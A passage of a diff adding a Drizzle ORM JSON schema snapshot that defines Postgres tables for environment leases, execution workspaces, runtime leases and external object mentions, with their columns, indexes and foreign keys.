+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_provider_lease_idx": {
+          "name": "environment_leases_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_leases_company_id_companies_id_fk": {
+          "name": "environment_leases_company_id_companies_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_leases_environment_id_environments_id_fk": {
+          "name": "environment_leases_environment_id_environments_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "environment_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_issue_id_issues_id_fk": {
+          "name": "environment_leases_issue_id_issues_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environments": {
+      "name": "environments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "driver": {
+          "name": "driver",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "env_vars": {
+          "name": "env_vars",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environments_status_idx": {
+          "name": "environments_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_local_driver_idx": {
+          "name": "environments_local_driver_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'local'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_managed_sandbox_idx": {
+          "name": "environments_managed_sandbox_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'sandbox' AND (\"environments\".\"metadata\" ->> 'managedByPaperclip')::boolean = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_name_idx": {
+          "name": "environments_name_idx",
+          "columns": [
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspace_runtime_leases": {
+      "name": "execution_workspace_runtime_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_key": {
+          "name": "owner_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_issue_id": {
+          "name": "owner_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_action": {
+          "name": "last_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "renewed_at": {
+          "name": "renewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspace_runtime_leases_company_workspace_idx": {
+          "name": "execution_workspace_runtime_leases_company_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_company_owner_idx": {
+          "name": "execution_workspace_runtime_leases_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_expires_at_idx": {
+          "name": "execution_workspace_runtime_leases_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspace_runtime_leases_company_id_companies_id_fk": {
+          "name": "execution_workspace_runtime_leases_company_id_companies_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "owner_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "execution_workspace_runtime_leases_execution_workspace_id_unique": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_unique",
+          "nullsNotDistinct": false,
+          "columns": [
+            "execution_workspace_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspaces": {
+      "name": "execution_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "strategy_type": {
+          "name": "strategy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_ref": {
+          "name": "base_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "branch_name": {
+          "name": "branch_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_fs'"
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_from_execution_workspace_id": {
+          "name": "derived_from_execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "opened_at": {
+          "name": "opened_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "closed_at": {
+          "name": "closed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_eligible_at": {
+          "name": "cleanup_eligible_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_reason": {
+          "name": "cleanup_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspaces_company_project_status_idx": {
+          "name": "execution_workspaces_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_project_workspace_status_idx": {
+          "name": "execution_workspaces_company_project_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_source_issue_idx": {
+          "name": "execution_workspaces_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_last_used_idx": {
+          "name": "execution_workspaces_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_branch_idx": {
+          "name": "execution_workspaces_company_branch_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "branch_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspaces_company_id_companies_id_fk": {
+          "name": "execution_workspaces_company_id_companies_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_id_projects_id_fk": {
+          "name": "execution_workspaces_project_id_projects_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_workspace_id_project_workspaces_id_fk": {
+          "name": "execution_workspaces_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_source_issue_id_issues_id_fk": {
+          "name": "execution_workspaces_source_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "derived_from_execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_object_mentions": {
+      "name": "external_object_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "property_key": {
+          "name": "property_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text_redacted": {
+          "name": "matched_text_redacted",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "sanitized_display_url": {
+          "name": "sanitized_display_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity": {
+          "name": "canonical_identity",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_id": {
+          "name": "object_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "detector_key": {
+          "name": "detector_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "confidence": {
+          "name": "confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "created_by_plugin_id": {
+          "name": "created_by_plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_object_mentions_company_source_issue_idx": {
+          "name": "external_object_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_object_idx": {
+          "name": "external_object_mentions_company_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_provider_idx": {
+          "name": "external_object_mentions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_record_uq": {
+          "name": "external_object_mentions_company_source_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is not null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_null_record_uq": {
+          "name": "external_object_mentions_company_source_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_object_mentions_company_id_companies_id_fk": {
+          "name": "external_object_mentions_company_id_companies_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_source_issue_id_issues_id_fk": {
+          "name": "external_object_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_object_id_external_objects_id_fk": {
+          "name": "external_object_mentions_object_id_external_objects_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "external_objects",
+          "columnsFrom": [
+            "object_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_created_by_plugin_id_plugins_id_fk": {
+          "name": "external_object_mentions_created_by_plugin_id_plugins_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "created_by_plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_objects": {
+      "name": "external_objects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sanitized_canonical_url": {
+          "name": "sanitized_canonical_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_key": {
+          "name": "display_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon_key": {
+          "name": "icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_title": {
+          "name": "display_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_key": {
+          "name": "status_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_label": {
+          "name": "status_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_icon_key": {
+          "name": "status_icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_category": {
+          "name": "status_category",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "status_tone": {
+          "name": "status_tone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'neutral'"
+        },
+        "liveness": {
+          "name": "liveness",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "is_terminal": {
+          "name": "is_terminal",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "remote_version": {
+          "name": "remote_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "etag": {
+          "name": "etag",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_changed_at": {
+          "name": "last_changed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_at": {
+          "name": "last_error_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_refresh_at": {
+          "name": "next_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_started_at": {
+          "name": "refresh_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_code": {
+          "name": "last_error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_message": {
+          "name": "last_error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_objects_company_provider_object_idx": {
+          "name": "external_objects_company_provider_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
